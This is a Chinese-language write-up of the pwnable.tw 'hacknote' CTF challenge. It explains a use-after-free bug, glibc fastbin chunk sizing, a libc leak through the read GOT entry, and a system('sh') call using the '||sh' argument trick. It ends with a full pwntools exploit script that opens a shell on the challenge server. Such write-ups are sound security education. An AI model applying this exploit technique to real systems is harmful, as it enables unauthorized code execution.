pwnable.tw上hacknote的wp

程序分析

保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序有三个基本操作,add、delete、print笔记,其中delete中free后没有把指针置为null,可创造一个迷途指针,导致了uaf漏洞

add note功能:

看到malloc了8字节的一个结构体,分别存放函数地址0x804862b(打印content的内容)和一个指向当前note内容content的指针

struct note{
*putnote;   //指向用于输出note内容的函数( *(_DWORD *)ptr[i] = putnote;)
*text;   //指向note对应的内容(read(0, *((void **)ptr[i] + 1), size);)
}

而后根据size再申请新的空间:

v0 = ptr[i];
v0[1] = malloc(size);//申请存储note内容的地址

基本的思路是先add 两次,但是内容的大小不能是8字节,不然会分配4个 16字节的fast bin;然后再delete两次,此时 fast bin链表如图:


因为prev_size 和 size 在 32 位下占 8 bytes ,所以结构体的实际堆块大小为 16 bytes。在申请 content 内容时要大于 16 bytes。

这里需要了解malloc内存对齐的知识:
在32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节,其中request2size就是malloc的内存对齐操作。

从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。 如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)

利用思路:

  • add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16->24->16->24
  • delete_note来释放内存,delete_note(0),delete_note(1)
    接着add_note,增加一个content size=8,内容为'ccccdddd'
  • 因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被输入的content覆盖,再执行print(0),覆盖的函数和内容就会执行。

调试

添加两个note后的堆

free两个note后的堆

再添加note2为ccccdddd

可以看到strcut note0结构体的putnote和text指针已经被覆盖成了cccc、ddddd

泄露libc:

题目已经给出了libc文件,我们要泄露出libc加载到内存中的基址:
以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print_note后就会打印出read的实际地址。

再利用:system_addr-libc_system=read_addr-libc_read
得到 system_addr=read_addr-libc_read+libc_system

到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址,就可以get system了。

注意点:覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,要用到system参数截断的姿势,当时用的是&&sh,类似的还有||sh;sh;

最终exp:

from pwn import *

def add_note(size,content):
      p.recvuntil("choice :")
      p.sendline("1")
      p.recvuntil("size :")
      p.sendline(size)
      p.recvuntil("Content :")
      p.sendline(content)

def delete_note(index):
      p.recvuntil("choice :")
      p.sendline("2")
      p.recvuntil("Index :")
      p.sendline(index)

def print_note(index):
      p.recvuntil("choice :")
      p.sendline("3")
      p.recvuntil("Index :")
      p.sendline(index)

context(arch='i386',log_level='debug')
# p=process('./hacknote')
p = remote('chall.pwnable.tw', 10102)
elf=ELF("./hacknote")
libc=ELF("./libc_32.so.6")
read_got=elf.got["read"]
putnote=0x804862b

# leak libc
add_note("20","aaaa")
add_note("20","bbbb")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(read_got))
print_note('0')

read_addr=u32(p.recv()[:4])

# print hex(read_addr)
system_addr=read_addr-libc.symbols['read']+libc.symbols['system']

# execute system('sh')
delete_note('2')
add_note('8',p32(system_addr)+'||sh\x00')
print_note('0')

p.interactive()

参考

https://blog.csdn.net/qq_35429581/article/details/78231443
http://www.carlstar.club/2019/03/01/hacknote/